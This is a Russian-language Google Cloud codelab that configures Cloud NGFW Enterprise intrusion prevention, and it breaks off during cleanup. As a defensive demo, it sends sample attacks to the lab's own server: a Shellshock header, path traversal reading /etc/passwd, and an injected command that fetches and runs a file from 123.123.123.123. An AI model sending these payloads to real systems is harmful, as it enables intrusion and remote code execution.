1. Введение
Облачный межсетевой экран следующего поколения (NGFW)
Cloud Next Generation Firewall — это полностью распределенная служба брандмауэра с расширенными возможностями защиты, микросегментацией и всеобъемлющим покрытием для защиты ваших рабочих нагрузок Google Cloud от внутренних и внешних атак.
Cloud NGFW имеет следующие преимущества:
- Служба распределенного межсетевого экрана: Cloud NGFW обеспечивает полностью распределенное принудительное применение на основе хоста для каждой рабочей нагрузки с отслеживанием состояния, что обеспечивает архитектуру безопасности с нулевым доверием.
- Упрощенная настройка и развертывание. Cloud NGFW реализует сетевые и иерархические политики брандмауэра, которые можно прикрепить к узлу иерархии ресурсов. Эти политики обеспечивают единообразную работу брандмауэра во всей иерархии ресурсов Google Cloud.
- Детальный контроль и микросегментация. Сочетание политик брандмауэра и тегов управления идентификацией и доступом (IAM) обеспечивает точный контроль трафика как север-юг, так и восток-запад, вплоть до одной виртуальной машины, в виртуальном частном облаке (VPC). сети и организации.
Cloud NGFW доступен на следующих уровнях:
- Основы облачного брандмауэра нового поколения
- Стандарт облачного брандмауэра нового поколения
- Облачный брандмауэр следующего поколения Enterprise
Облако NGFW Enterprise
Cloud NGFW Enterprise добавляет службу предотвращения вторжений (IPS) , возможность уровня 7, в распределенную структуру Google Cloud Firewall. Поддерживается проверка TLS, позволяющая проверять зашифрованный TLS трафик, но она выходит за рамки этой лаборатории кода (см. Cloud NGFW Enterprise Codelab с проверкой TLS ).
Теперь вы можете развернуть надежные проверки межсетевого экрана следующего поколения (NGFW) уровня 7 с детальным контролем без внесения каких-либо изменений в архитектуру сети или конфигурации маршрутизации.
Чтобы активировать и развернуть управление межсетевым экраном уровня 7 с помощью IPS, вам необходимо выполнить следующие задачи:
- Создайте набор конечных точек зонального брандмауэра, управляемого Google Cloud.
- При необходимости создайте политику проверки TLS (не рассматривается в этой лаборатории кода).
- При необходимости создайте конфигурацию доверия (не рассматривается в этой кодовой лаборатории).
- Свяжите эти конечные точки с сетями виртуального частного облака (VPC), где вам понадобится служба Cloud NGFW Enterprise.
- Внесите простые изменения в существующие политики и правила брандмауэра, чтобы указать профили предотвращения угроз для различных путей трафика.
Политики сетевого брандмауэра
Политика сетевого брандмауэра действует как контейнер для правил брандмауэра. Правила, определенные в политике сетевого брандмауэра, нигде не применяются, пока политика не связана с сетью VPC. С каждой сетью VPC может быть связана одна политика сетевого межсетевого экрана. Политики сетевого брандмауэра поддерживают теги, управляемые IAM (или просто теги), в правилах брандмауэра, которые заменяют текущие сетевые теги и могут использоваться для обеспечения идентификации рабочей нагрузки.
Совместное использование политики межсетевого экрана в разных сетях и интеграция с тегами, управляемыми IAM, значительно упрощает настройку и управление межсетевыми экранами.
С появлением политики сетевого брандмауэра политики брандмауэра Google Cloud теперь состоят из следующих компонентов:
- Иерархическая политика брандмауэра
- Правила брандмауэра VPC
- Политика сетевого межсетевого экрана ( глобальная и региональная )
Иерархические политики брандмауэра поддерживаются на узлах организации и папок в иерархии ресурсов, тогда как правила брандмауэра VPC и политики сетевого брандмауэра применяются на уровне VPC. Большая разница между правилами брандмауэра VPC и политиками сетевого брандмауэра заключается в том, что правила брандмауэра VPC могут применяться только к одной сети VPC, тогда как политики сетевого брандмауэра могут быть прикреплены к одному VPC или группе VPC, помимо других преимуществ, таких как пакетные обновления.
Наконец, у нас также есть подразумеваемые правила брандмауэра , которые есть в каждой сети VPC:
- Выходное правило, действие которого разрешено, пункт назначения — 0.0.0.0/0.
- Правило входящего трафика, действие которого запрещено, источник — 0.0.0.0/0.
По умолчанию последовательность применения показана на следующей диаграмме:
Обратите внимание, что порядок применения правил брандмауэра VPC и политики брандмауэра глобальной сети можно поменять местами. Клиенты могут указать порядок принудительного исполнения в любое время с помощью команды gcloud .
Теги , управляемые IAM
Новые теги, интегрированные в правила политики сетевого брандмауэра, представляют собой ресурсы пары «ключ-значение», определенные на уровне организации или проекта в иерархии ресурсов Google Cloud. Такой тег содержит элемент управления доступом IAM, как следует из названия, который определяет, кто и что может делать с тегом. Разрешения IAM, например, позволяют указать, какие участники могут присваивать значения тегам, а какие участники могут прикреплять теги к ресурсам. После применения тега к ресурсу правила сетевого брандмауэра могут использовать его для разрешения и запрета трафика.
Теги соответствуют модели ресурсов наследования Google Cloud, то есть теги и их значения передаются по иерархии от их родителей. В результате теги могут создаваться в одном месте, а затем использоваться другими папками и проектами по всей иерархии ресурсов. Посетите эту страницу для получения подробной информации о тегах и ограничении доступа.
Теги не следует путать с сетевыми тегами . Последние представляют собой строки, которые можно добавлять в экземпляры Compute Engine; они связаны с экземпляром и исчезают, когда экземпляр выводится из эксплуатации. Правила брандмауэра VPC могут включать сетевые теги, но, поскольку они не считаются облачными ресурсами, на них не распространяется контроль доступа IAM.
Обратите внимание, что теги и теги, управляемые IAM, в этом документе используются как взаимозаменяемые слова.
Что ты построишь
Для этой лаборатории кода требуется один проект и возможность создания сети VPC с общедоступным подключением. В ней будет продемонстрировано, как Cloud NGFW Enterprise может обеспечить функциональность IPS посредством:
- Проверка потоков внутри VPC/подсети [Восток-Запад]
- Проверка входящих потоков из Интернета [Север-Юг]
Потоки, подлежащие проверке, будут выбраны с использованием параметров соответствия Cloud Firewall, включая 5-кортеж (IP-адрес источника, IP-адрес назначения, протокол, порт источника, порт назначения) и теги. Проверка TLS не включена в эту кодовую лабораторию.
База правил политики сетевого брандмауэра будет аналогична таблице ниже:
Приоритет | Направление | Цель | Источник | Место назначения | Действие | Тип |
100 | выход | Карантин_Тег | Любой | Любой | Отрицать | Основы |
1000 | Вход | Server_Tag | Диапазоны проверки работоспособности | Любой | Позволять | Основы |
2000 г. | Вход | Любой | Диапазоны прокси-серверов с учетом личных данных | Любой | Позволять | Основы |
3000 | Вход | Любой | Гео, GCTI | Любой | Отрицать | Стандартный |
4000 | выход | Любой | Любой | Гео, GCTI | Отрицать | Стандартный |
5000 | выход | Любой | Любой | Полные доменные имена обновления системы | Позволять | Стандартный |
6000 | Вход | Server_Tag | 10.0.0.0/24 | Любой | IPS | Предприятие |
7000 | Вход | Server_Tag | CloudNAT_IP | Любой | IPS | Предприятие |
Что вы узнаете
- Как создать политику брандмауэра глобальной сети
- Как создавать и использовать теги с политикой сетевого брандмауэра
- Как настроить и использовать Cloud NGFW Enterprise Intrusion Prevention Service
Что вам понадобится
- Проект Google Cloud
- Знание развертывания экземпляров и настройки сетевых компонентов.
- Знание конфигурации брандмауэра VPC
2. Прежде чем начать
Создать/обновить переменные
В этой лаборатории кода используются переменные $variables для облегчения реализации конфигурации gcloud в Cloud Shell.
В Cloud Shell выполните приведенные ниже команды, заменяя при необходимости информацию в скобках (пропустите настройку проекта, если нужный уже задан). Другая переменная используется для ресурсов уровня организации, если, например, требуется несколько конечных точек брандмауэра.
gcloud config set project [project-id] export project_id=$(gcloud config list --format="value(core.project)") export org_id=$(gcloud projects get-ancestors $project_id --format="csv[no-heading](id,type)" | grep ",organization$" | cut -d"," -f1 ) export region=[region] export zone=[zone] export prefix=cloudngfw export org_prefix=cloudngfw export billing_project_id=[project-id]
3. Включите API
Включите API, если вы этого не сделали:
gcloud services enable compute.googleapis.com gcloud services enable networksecurity.googleapis.com gcloud services enable certificatemanager.googleapis.com gcloud services enable networkservices.googleapis.com gcloud services enable privateca.googleapis.com
4. Профиль безопасности предприятия Cloud NGFW и создание конечных точек
Поскольку создание конечной точки Cloud NGFW Enterprise занимает около 20 минут, она будет создана первой, а базовую настройку можно будет выполнить параллельно с созданием конечной точки.
Создайте профиль безопасности и группу профилей безопасности:
gcloud network-security security-profiles threat-prevention \ create $org_prefix-sp-threat \ --organization $org_id \ --location=global gcloud network-security security-profile-groups create \ $org_prefix-spg \ --organization $org_id \ --location=global \ --threat-prevention-profile organizations/$org_id/locations/global/securityProfiles/$org_prefix-sp-threat
Ожидаемый результат:
Waiting for security-profile [organizations/$org_id/locations/global/securityProfiles/$org_prefix-sp-threat] to be created...done. Waiting for operation [organizations/$org_id/locations/global/operations/operation-1687458013374-5febbef75e993-ea522924-c963d150] to com plete...done. Created security profile group [$org_prefix-spg].
Подтвердите, что ресурсы были успешно созданы:
gcloud network-security security-profiles threat-prevention \ list --location=global --organization $org_id gcloud network-security security-profile-groups list \ --organization $org_id --location=global
Ожидаемый результат:
NAME: cloudngfw-sp-threat NAME: cloudngfw-spg
Создайте конечную точку Cloud NGFW Enterprise:
gcloud network-security firewall-endpoints create $org_prefix-$zone \ --zone=$zone --organization $org_id \ --billing-project $billing_project_id
Запустите команду ниже, чтобы подтвердить создание конечной точки (СОСТОЯНИЕ: СОЗДАНИЕ ).
gcloud network-security firewall-endpoints list --zone $zone \ --organization $org_id
Ожидаемый результат (обратите внимание, что формат вывода может различаться в зависимости от используемого клиента):
ID: cloudngfw-[zone] LOCATION: [zone] STATE: CREATING
При необходимости выполните команду ниже, чтобы получить более подробную информацию:
gcloud network-security firewall-endpoints describe \ $org_prefix-$zone --organization $org_id --zone $zone
Ожидаемый результат:
createTime: '2023-04-25T18:08:45.493499362Z' name: organizations/[org-id]/locations/[zone]/firewallEndpoints/cloudngfw-[zone] state: CREATING updateTime: '2023-04-25T18:08:45.493499362Z'
Процесс создания конечной точки занимает около 20 минут. Перейдите в раздел «Базовая настройка», чтобы параллельно создать необходимые ресурсы.
5. Настройка базы
Перейдите к следующим разделам, если вы предпочитаете создавать базовые ресурсы вручную.
Сеть и подсеть VPC
Сеть и подсеть VPC
Создайте сеть и подсеть VPC:
gcloud compute networks create $prefix-vpc --subnet-mode=custom gcloud compute networks subnets create $prefix-$region-subnet \ --range=10.0.0.0/24 --network=$prefix-vpc --region=$region
Облачный NAT
Создайте облачные маршрутизаторы и шлюзы Cloud NAT:
gcloud compute addresses create $prefix-$region-cloudnatip --region=$region export cloudnatip=$(gcloud compute addresses list --filter=name:$prefix-$region-cloudnatip --format="value(address)") gcloud compute routers create $prefix-cr \ --region=$region --network=$prefix-vpc gcloud compute routers nats create $prefix-cloudnat-$region \ --router=$prefix-cr --router-region $region \ --nat-all-subnet-ip-ranges \ --nat-external-ip-pool=$prefix-$region-cloudnatip
I экземпляры
Создайте экземпляры клиента и веб-сервера:
gcloud compute instances create $prefix-$zone-www \ --subnet=$prefix-$region-subnet --no-address --zone $zone \ --metadata startup-script='#! /bin/bash apt-get update apt-get install apache2 tcpdump iperf3 -y a2ensite default-ssl a2enmod ssl # Read VM network configuration: md_vm="http://169.254.169.254/computeMetadata/v1/instance/" vm_hostname="$(curl $md_vm/name -H "Metadata-Flavor:Google" )" filter="{print \$NF}" vm_network="$(curl $md_vm/network-interfaces/0/network \ -H "Metadata-Flavor:Google" | awk -F/ "${filter}")" vm_zone="$(curl $md_vm/zone \ -H "Metadata-Flavor:Google" | awk -F/ "${filter}")" # Apache configuration: echo "Page on $vm_hostname in network $vm_network zone $vm_zone" | \ tee /var/www/html/index.html systemctl restart apache2' gcloud compute instances create $prefix-$zone-client \ --subnet=$prefix-$region-subnet --no-address --zone $zone \ --scopes=compute-ro \ --metadata startup-script='#! /bin/bash apt-get update apt-get install apache2-utils iperf3 tcpdump -y'
Теги уровня проекта
При необходимости назначьте пользователю права tagAdmin и/или tagUser:
export user_id=$(gcloud auth list --format="value(account)") gcloud projects add-iam-policy-binding $project_id --member user:$user_id --role roles/resourcemanager.tagAdmin gcloud projects add-iam-policy-binding $project_id --member user:$user_id --role roles/resourcemanager.tagUser
Создайте ключ и значения тега на уровне проекта:
gcloud resource-manager tags keys create $prefix-vpc-tags \ --parent projects/$project_id \ --purpose GCE_FIREWALL \ --purpose-data network=$project_id/$prefix-vpc gcloud resource-manager tags values create $prefix-vpc-client \ --parent=$project_id/$prefix-vpc-tags gcloud resource-manager tags values create $prefix-vpc-server \ --parent=$project_id/$prefix-vpc-tags gcloud resource-manager tags values create $prefix-vpc-quarantine \ --parent=$project_id/$prefix-vpc-tags
Привяжите теги к экземплярам:
gcloud resource-manager tags bindings create \ --location $zone \ --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-server \ --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-www gcloud resource-manager tags bindings create \ --location $zone \ --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-client \ --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-client
Политика брандмауэра глобальной сети
Создайте политику брандмауэра глобальной сети:
gcloud compute network-firewall-policies create \ $prefix-fwpolicy --description \ "Cloud NGFW Enterprise" --global
Создайте правила Cloud Firewall Essential, чтобы запретить трафик из экземпляров, находящихся в карантине (созданных только в качестве примера, не используемых в этой лаборатории кода), и разрешить трафик из диапазонов прокси-серверов , проверяющих работоспособность и идентифицирующих личность :
gcloud compute network-firewall-policies rules create 100 \ --description="block quarantined workloads" \ --action=deny \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --layer4-configs=all \ --direction=EGRESS \ --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-quarantine \ --dest-ip-ranges=0.0.0.0/0 gcloud compute network-firewall-policies rules create 1000 \ --description="allow http traffic from health-checks ranges" \ --action=allow \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --layer4-configs=tcp:80,tcp:443 \ --direction=INGRESS \ --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server \ --src-ip-ranges=35.191.0.0/16,130.211.0.0/22,209.85.152.0/22,209.85.204.0/22 gcloud compute network-firewall-policies rules create 2000 \ --description="allow ssh traffic from identity-aware-proxy ranges" \ --action=allow \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --layer4-configs=tcp:22 \ --direction=INGRESS \ --src-ip-ranges=35.235.240.0/20
Создайте стандартные правила Cloud Firewall, чтобы запретить входящий и исходящий трафик из/в страны, на которые наложено эмбарго, известные вредоносные IP-адреса и выходные узлы ToR; и разрешать исходящий трафик только на определенные полные доменные имена для обновлений системы (созданные только в качестве примера, не используемые в этой лаборатории кода):
gcloud compute network-firewall-policies rules create 3000 \ --description="block ingress traffic from sanctioned countries, known malicious IPs and ToR exit nodes" \ --action=deny \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --layer4-configs=all \ --direction=INGRESS \ --src-region-codes CU,IR,KP,SY,XC,XD \ --src-threat-intelligence iplist-tor-exit-nodes,iplist-known-malicious-ips gcloud compute network-firewall-policies rules create 4000 \ --description="block egress traffic to sanctioned countries, known malicious IPs and ToR exit nodes" \ --action=deny \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --layer4-configs=all \ --direction=EGRESS \ --dest-region-codes CU,IR,KP,SY,XC,XD \ --dest-threat-intelligence iplist-tor-exit-nodes,iplist-known-malicious-ips gcloud compute network-firewall-policies rules create 5000 \ --description "allow system updates" \ --action=allow \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --layer4-configs=tcp:80,tcp:443 \ --direction=EGRESS \ --dest-fqdns=ftp.us.debian.org,debian.map.fastly.net,packages.cloud.google.com,www3.l.google.com
Создайте правила Cloud Firewall, чтобы разрешить входящий трафик восток-запад/внутри подсети и север-юг/интернет-трафик из определенных диапазонов (эти правила будут обновлены для включения Cloud NGFW Enterprise):
gcloud compute network-firewall-policies rules create 6000 \ --description "allow ingress internal traffic from clients" \ --action=allow \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --direction=INGRESS \ --enable-logging \ --layer4-configs all \ --src-ip-ranges=10.0.0.0/24 \ --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server gcloud compute network-firewall-policies rules create 7000 \ --description "allow ingress external traffic to server" \ --action=allow \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --layer4-configs=tcp:80,tcp:443 \ --direction=INGRESS \ --enable-logging \ --src-ip-ranges=$cloudnatip \ --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server
Свяжите политику сетевого брандмауэра с сетью VPC:
gcloud compute network-firewall-policies associations create \ --firewall-policy $prefix-fwpolicy \ --network $prefix-vpc \ --name $prefix-fwpolicy-association \ --global-firewall-policy
Внешний балансировщик сетевой нагрузки TCP/UDP
Зарезервируйте внешний IP-адрес, создайте группу экземпляров и проверьте работоспособность:
gcloud compute addresses create $prefix-$region-nlbip --region=$region gcloud compute instance-groups unmanaged create $prefix-ig \ --zone $zone gcloud compute instance-groups unmanaged add-instances $prefix-ig \ --instances $prefix-$zone-www --zone $zone gcloud compute health-checks create http $prefix-$region-hc-http80 \ --region $region --port 80
Создайте серверную службу и правило переадресации:
gcloud compute backend-services create $prefix-nlb-bes \ --protocol TCP \ --health-checks $prefix-$region-hc-http80 \ --health-checks-region $region \ --region $region gcloud compute backend-services add-backend $prefix-nlb-bes \ --instance-group $prefix-ig \ --instance-group-zone $zone \ --region $region gcloud compute forwarding-rules create $prefix-nlb-ipv4 \ --load-balancing-scheme EXTERNAL \ --region $region \ --ports 80 \ --address $prefix-$region-nlbip \ --backend-service $prefix-nlb-bes
6. Ассоциация конечных точек предприятия Cloud NGFW
При необходимости переопределите переменные среды.
Убедитесь, что создание конечной точки Cloud Firewall успешно завершено. Продолжайте только тогда, когда состояние отображается как АКТИВНОЕ (во время создания ожидаемое состояние — СОЗДАНИЕ ):
gcloud network-security firewall-endpoints list --zone $zone \ --organization $org_id
Ожидаемый результат (обратите внимание, что формат вывода может различаться в зависимости от используемого клиента):
ID: cloudngfw-[zone] LOCATION: [zone] STATE: ACTIVE
При необходимости выполните команду ниже, чтобы получить более подробную информацию:
gcloud network-security firewall-endpoints describe \ $org_prefix-$zone --organization $org_id --zone $zone
Ожидаемый результат:
createTime: '2023-04-25T18:08:45.493499362Z' name: organizations/[org-id]/locations/[zone]/firewallEndpoints/cloudngfw-[zone] state: ACTIVE updateTime: '2023-04-25T18:29:40.840608100Z'
Свяжите конечную точку Cloud NGFW Enterprise с сетью VPC:
gcloud network-security firewall-endpoint-associations create \ $prefix-association --zone $zone \ --network=$prefix-vpc --endpoint $org_prefix-$zone \ --organization $org_id
Процесс ассоциации занимает около 10 минут. Продолжайте только тогда, когда состояние отображается как АКТИВНОЕ (ожидаемое состояние СОЗДАЕТСЯ во время процесса создания):
gcloud network-security firewall-endpoint-associations list
Ожидаемый результат:
ID: cloudngfw-association LOCATION: [zone] NETWORK: cloudngfw-vpc ENDPOINT: cloudngfw-[zone] STATE: ACTIVE
При необходимости выполните команду ниже, чтобы получить более подробную информацию:
gcloud network-security firewall-endpoint-associations \ describe $prefix-association --zone $zone
Ожидаемый результат:
createTime: '2023-05-01T22:25:06.218544436Z' firewallEndpoint: organizations/[org-id]/locations/[zone]/firewallEndpoints/cloudngfw-[zone] name: projects/[project-id]/locations/[zone]/firewallEndpointAssociations/cloudngfw-association network: projects/[project-id]/global/networks/cloudngfw-vpc state: ACTIVE updateTime: '2023-05-01T22:33:06.467596536Z'
7. Правила проверки предприятия Cloud NGFW
Откройте новую вкладку и инициируйте SSH-соединение с клиентской виртуальной машиной через IAP (вам нужно будет снова определить переменные на новой вкладке):
gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone
Определите необходимые переменные в сеансе SSH и установите переменные (убедитесь, что значения верны):
export region=[region] export zone=[zone] export prefix=cloudngfw export target_privateip=$(gcloud compute instances list --filter=name:$prefix-$zone-www --format="value(networkInterfaces.networkIP)") export target_nlbip=$(gcloud compute addresses list --filter=name:$prefix-$region-nlbip --format="value(address)")
сверните оба IP-адреса, чтобы убедиться, что они доступны:
curl $target_privateip --max-time 2 curl $target_nlbip --max-time 2
Ожидаемый результат для обоих запросов на завивку:
Page on cloudngfw-[zone]-www in network cloudngfw-vpc zone [zone]
Отправьте образцы атак на внутренний IP-адрес сервера (трафик Восток-Запад/внутриVPC). Веб-сервер должен отвечать на все запросы, подтверждая отсутствие проверки/профилактики L7:
curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_privateip/cgi-bin/test-critical -m 3 curl http://$target_privateip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3 curl http://$target_privateip/?item=../../../../WINNT/win.ini -m 3 curl "http://$target_privateip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"
Повторно отправьте примеры атак на IP-адрес внешнего сервера через Cloud NAT (входящий трафик «Север-Юг»), и аналогичным образом веб-сервер должен отвечать на все запросы:
curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_nlbip/cgi-bin/test-critical -m 3 curl http://$target_nlbip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3 curl http://$target_nlbip/?item=../../../../WINNT/win.ini -m 3 curl "http://$target_nlbip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"
Ожидаемые результаты как для общедоступных, так и для частных IP-адресов:
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>404 Not Found</title> </head><body> <h1>Not Found</h1> <p>The requested URL was not found on this server.</p> <hr> <address>Apache/2.4.56 (Debian) Server at [IP] Port 80</address> </body></html> <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>404 Not Found</title> </head><body> <h1>Not Found</h1> <p>The requested URL was not found on this server.</p> <hr> <address>Apache/2.4.56 (Debian) Server at [IP] Port 80</address> </body></html> Page on cloudngfw-[zone]-www in network cloudngfw-vpc zone [zone] <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>400 Bad Request</title> </head><body> <h1>Bad Request</h1> <p>Your browser sent a request that this server could not understand.<br /> </p> <hr> <address>Apache/2.4.56 (Debian) Server at cloudngfw-[zone]-www.c.[project-id].internal Port 80</address> </body></html>
Вернитесь в Cloud Shell и обновите существующие правила входящего трафика, чтобы включить проверку L7:
gcloud compute network-firewall-policies rules update 6000 \ --action=apply_security_profile_group \ --firewall-policy=$prefix-fwpolicy \ --enable-logging \ --global-firewall-policy \ --security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$org_prefix-spg gcloud compute network-firewall-policies rules update 7000 \ --action=apply_security_profile_group \ --firewall-policy=$prefix-fwpolicy \ --enable-logging \ --global-firewall-policy \ --security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$org_prefix-spg
При необходимости опишите правила брандмауэра, чтобы убедиться, что оба они были успешно обновлены:
gcloud compute network-firewall-policies rules describe 6000 \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy
Ожидаемый результат:
--- action: apply_security_profile_group description: allow ingress internal traffic from tagged clients direction: INGRESS disabled: false enableLogging: true kind: compute#firewallPolicyRule match: layer4Configs: - ipProtocol: all srcIpRanges: - 10.0.0.0/24 priority: 800 ruleTupleCount: 4 securityProfileGroup: //networksecurity.googleapis.com/organizations/[org-id]/locations/global/securityProfileGroups/cloudngfw-spg targetSecureTags: - name: tagValues/281484362719839 state: EFFECTIVE
Правило 7000:
gcloud compute network-firewall-policies rules describe 7000 \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy
Ожидаемый результат:
--- action: apply_security_profile_group description: allow ingress external traffic to server direction: INGRESS disabled: false enableLogging: true kind: compute#firewallPolicyRule match: layer4Configs: - ipProtocol: tcp ports: - '80' - ipProtocol: tcp ports: - '443' srcIpRanges: - [cloudnat-ip] priority: 900 ruleTupleCount: 6 securityProfileGroup: //networksecurity.googleapis.com/organizations/[org-id]/locations/global/securityProfileGroups/cloudngfw-spg targetSecureTags: - name: tagValues/281484362719839 state: EFFECTIVE
Вернитесь на клиентскую виртуальную машину и повторно отправьте образцы атак на IP-адрес внутреннего сервера (проверка Восток-Запад / ВнутриVPC):
curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_privateip/cgi-bin/test-critical -m 3 curl http://$target_privateip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3 curl http://$target_privateip/?item=../../../../WINNT/win.ini -m 3 curl "http://$target_privateip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"
Повторно отправьте примеры атак на IP-адрес внешнего сервера через Cloud NAT (входящая проверка «Север-Юг»):
curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_nlbip/cgi-bin/test-critical -m 3 curl http://$target_nlbip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3 curl http://$target_nlbip/?item=../../../../WINNT/win.ini -m 3 curl "http://$target_nlbip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"
Никаких ответов на первые атаки не получено, как ожидается, ниже, что подтверждает, что атаки высокой степени серьезности в настоящее время блокируются.
curl: (56) Recv failure: Connection reset by peer curl: (28) Operation timed out after 3000 milliseconds with 0 bytes received curl: (28) Operation timed out after 3000 milliseconds with 0 bytes received <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>400 Bad Request</title> </head><body> <h1>Bad Request</h1> <p>Your browser sent a request that this server could not understand.<br /> </p> <hr> <address>Apache/2.4.56 (Debian) Server at cloudngfw-[zone]-www.c.[project-id].internal Port 80</address> </body></html>
Перейдите в раздел «Сетевая безопасность» > «Угрозы» в облачной консоли, чтобы проверить журналы (возможно, вам придется обновить их несколько раз, если атаки еще не отображаются).
Выберите одну из атак и нажмите «Просмотреть журнал аудита» справа (откройте в новой вкладке, чтобы легко переключиться обратно). Разверните атаку, чтобы показать детали:
При необходимости замените фильтр Log Explorer запросом ниже:
resource.type="networksecurity.googleapis.com/FirewallEndpoint"
Записи журнала угроз должны выглядеть, как показано ниже:
Пакеты, перехваченные Cloud Firewall, можно проверить с помощью фильтра Log Explorer ниже (полезно для устранения неполадок):
jsonPayload.rule_details.action="APPLY_SECURITY_PROFILE_GROUP"
Продолжайте проверку интернет-трафика (необязательно) или закройте сеанс SSH и перейдите к следующей главе, посвященной шагам очистки.
[Необязательно] Проверка интернет-трафика
Как было проверено в предыдущем разделе, на данный момент проверенными потоками являются внутриподсети/VPC (восток-запад) и входящий трафик из Интернета (входящий трафик север-юг). Cloud NGFW Enterprise также можно настроить для проверки всего интернет-трафика (исходящего с севера на юг), создав новое выходное правило с помощью Cloud Shell:
gcloud compute network-firewall-policies rules create 10000 \ --description "inspect all egress internet traffic from clients" \ --action=apply_security_profile_group \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --layer4-configs=tcp:80,tcp:443 \ --direction=EGRESS \ --dest-ip-ranges=0.0.0.0/0 \ --enable-logging \ --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client \ --security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$org_prefix-spg
Вернитесь на клиентскую виртуальную машину и повторно отправьте атаки высокой степени серьезности на IP-адрес внешнего сервера:
curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_nlbip/cgi-bin/test-critical -m 3 curl http://$target_nlbip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3
Ожидаемый результат:
curl: (56) Recv failure: Connection reset by peer curl: (28) Operation timed out after 3001 milliseconds with 0 bytes received
Перейдите на вкладку «Угрозы» в Cloud Console, чтобы проверить журналы (возможно, вам придется обновить их несколько раз). Атаки должны были быть идентифицированы и зарегистрированы снова, но теперь исходный IP-адрес является внутренним, поскольку сначала срабатывает выходное правило:
Закройте сеанс SSH и перейдите к следующему разделу, посвященному шагам очистки .
8. Этапы очистки
Очистка корпоративных компонентов Cloud NGFW
Перечислите существующие ассоциации Cloud NGFW Enterprise:
gcloud network-security firewall-endpoint-associations list
Удалите ассоциацию Cloud NGFW Enterprise:
gcloud network-security firewall-endpoint-associations delete \ $prefix-association --zone $zone
gcloud network-security firewall-endpoint-associations list
Перечислите существующие конечные точки Cloud NGFW Enterprise:
gcloud network-security firewall-endpoints list --zone $zone \ --organization $org_id
Удалите конечную точку Cloud NGFW Enterprise, что может занять около 20 минут:
gcloud -q network-security firewall-endpoints delete \ $org_prefix-$zone --zone=$zone --organization $org_id
Подтвердите, что Cloud NGFW Enterprise был удален, выполнив следующую команду:
gcloud network-security firewall-endpoints list --zone $zone \ --organization $org_id
Удалите группу профилей безопасности и профиль предотвращения угроз:
gcloud -q network-security security-profile-groups delete \ $org_prefix-spg \ --organization $org_id \ --location=global gcloud -q network-security security-profiles threat-prevention \ delete $org_prefix-sp-threat \ --organization $org_id \ --location=global
Очистка базовой установки
Перейдите к следующему шагу, если вы предпочитаете удалить базовые ресурсы.
При необходимости определите переменные среды. В Cloud Shell удалите компоненты Network Load Balancer:
gcloud -q compute forwarding-rules delete $prefix-nlb-ipv4 --region $region gcloud -q compute backend-services delete $prefix-nlb-bes --region $region gcloud -q compute health-checks delete $prefix-$region-hc-http80 --region $region gcloud -q compute instance-groups unmanaged delete $prefix-ig --zone $zone
Удалить экземпляры:
gcloud -q compute instances delete $prefix-$zone-www --zone=$zone gcloud -q compute instances delete $prefix-$zone-client --zone=$zone
При необходимости выполните следующие действия, если роли tagAdmin и tagUsers были изменены:
export user_id=$(gcloud auth list --format="value(account)") gcloud organizations remove-iam-policy-binding $org_id \ --member user:$user_id --role roles/resourcemanager.tagAdmin gcloud organizations remove-iam-policy-binding $org_id \ --member user:$user_id --role roles/resourcemanager.tagUser
Удалить ключ и значения тега:
gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-client gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-server gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-quarantine gcloud -q resource-manager tags keys delete $project_id/$prefix-vpc-tags
Удалите сетевую политику и ассоциацию Cloud Firewall:
